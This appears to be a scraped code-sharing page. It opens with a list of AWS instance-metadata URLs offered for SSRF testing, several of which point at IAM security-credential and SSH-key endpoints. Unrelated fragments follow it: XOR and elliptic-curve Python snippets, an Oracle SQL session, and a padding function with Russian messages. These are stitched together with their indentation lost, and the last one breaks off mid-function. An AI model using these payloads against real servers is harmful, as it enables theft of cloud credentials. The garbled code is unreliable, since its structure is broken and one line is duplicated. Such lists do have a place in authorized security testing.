Skip to content

Instantly share code, notes, and snippets.

@ivanovanton
ivanovanton / cloud_metadata.txt
Created February 7, 2021 16:29 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
#3.7.4
s = '10011100'
a = str(s)
L = 0
m = 8
while m > 1:
m = m // 2
l = str(a[:m])
r = str(a[m:])
b = bin(int(l, 2) ^ int(r, 2))[2:]
a = - 1
q = 751
def not_equal(x1,y1,x2,y2):
l = l = (((y2-y1) % q) * ((x2-x1)%q) ** 749) % q
x3 = (l**2 - x1 - x2) % q
y3 = (l*(x1-x3) - y1) % q
return x3, y3
def equal(x1,y1):
l = (((3*x1**2 + a) % q) * ((2*y1)%q) ** 749) % q
SQL> alter table cars
2 add num number;
Table altered.
SQL> update cars set num = mod(rownum + 7 + 33, 17);
5 rows updated.
def task_1(s, size):
try:
if (len(s) % int(size) == 0 ):
s += chr(int(size))*int(size)
return s
else:
s += chr(int(size) - len(s) % int(size))*(int(size) - len(s) % int(size))
return s
except:
return "Некорректные параметры"
def task_1_1(str1):
if len(str1)%2 != 0:
return 'Входные данные некорректны'
suf = ''
bin_view = ''
for l in range(len(str1)):
try:
bin_view += '{0:04b}'.format(int(str1[l],16))
except Exception:
return 'Входные данные некорректны'